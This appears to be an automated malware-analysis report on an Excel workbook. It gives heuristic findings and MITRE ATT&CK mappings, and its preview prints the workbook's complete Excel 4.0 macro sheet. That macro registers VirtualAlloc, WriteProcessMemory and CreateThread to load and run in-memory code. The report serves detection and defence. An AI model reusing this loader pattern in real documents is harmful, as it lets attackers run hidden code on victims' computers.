MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros that utilize the REGISTER function to call Win32 APIs like VirtualAlloc and WriteProcessMemory. This indicates an attempt to allocate memory and write malicious code into it, likely for executing a second-stage payload. The use of these dangerous API calls suggests a downloader or dropper functionality.
Heuristics 4
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Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
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Dangerous XLM formula APIs: REGISTER, HALT critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 2916 bytes |
SHA-256: 233bf79a0fd48d3a63567875d3984664b84c231a4abd3ee2fa04e1a576403c2e |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{D7AC6F74-1641-4F24-A9F1-BA2E6D077138}"><dimension ref="A1:B13"/><sheetViews><sheetView showFormulas="1" tabSelected="1" workbookViewId="0"><selection activeCell="B4" sqref="B4"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="1" width="33.88671875" bestFit="1" customWidth="1"/></cols><sheetData><row r="1" spans="1:2" x14ac:dyDescent="0.3"><c r="A1" t="b"><f>REGISTER("Kernel32","VirtualAlloc","JJJJJ","Valloc",,1,9)</f><v>0</v></c><c r="B1" t="s"><v>1</v></c></row><row r="2" spans="1:2" x14ac:dyDescent="0.3"><c r="A2" t="e"><f>Valloc(0,1000000,4096,64)</f><v>#NAME?</v></c><c r="B2" t="s"><v>2</v></c></row><row r="3" spans="1:2" x14ac:dyDescent="0.3"><c r="A3" t="b"><f>REGISTER("Kernel32","WriteProcessMemory","JJJCJJ","WProcessMemory",,1,9)</f><v>0</v></c><c r="B3" t="s"><v>3</v></c></row><row r="4" spans="1:2" x14ac:dyDescent="0.3"><c r="A4" s="1" t="b"><f>SELECT($B$1:$1000:$1000:$B:$B,$B$1)</f><v>0</v></c></row><row r="5" spans="1:2" x14ac:dyDescent="0.3"><c r="A5" t="b"><f>SET.VALUE($C$1,0)</f><v>0</v></c></row><row r="6" spans="1:2" x14ac:dyDescent="0.3"><c r="A6" t="b"><f>WHILE(ATIVE.CELL()>"END")</f><v>0</v></c></row><row r="7" spans="1:2" x14ac:dyDescent="0.3"><c r="A7" t="e"><f>WProcessMemory(-1,$A$2+$C$1*255,ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)</f><v>#NAME?</v></c></row><row r="8" spans="1:2" x14ac:dyDescent="0.3"><c r="A8" t="b"><f>SET.VALUE($C$1,$C$1+1)</f><v>0</v></c></row><row r="9" spans="1:2" x14ac:dyDescent="0.3"><c r="A9" t="b"><f>SELECT(,"R[1]C")</f><v>0</v></c></row><row r="10" spans="1:2" x14ac:dyDescent="0.3"><c r="A10" t="b"><f>NEXT()</f><v>0</v></c></row><row r="11" spans="1:2" x14ac:dyDescent="0.3"><c r="A11" t="b"><f>REGISTER("Kernel32","CreateThread","JJJJJJJ","Cthread",,1,9)</f><v>0</v></c></row><row r="12" spans="1:2" x14ac:dyDescent="0.3"><c r="A12" t="e"><f>Cthread(0,0,$A$2,0,0,0)</f><v>#NAME?</v></c></row><row r="13" spans="1:2" x14ac:dyDescent="0.3"><c r="A13" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
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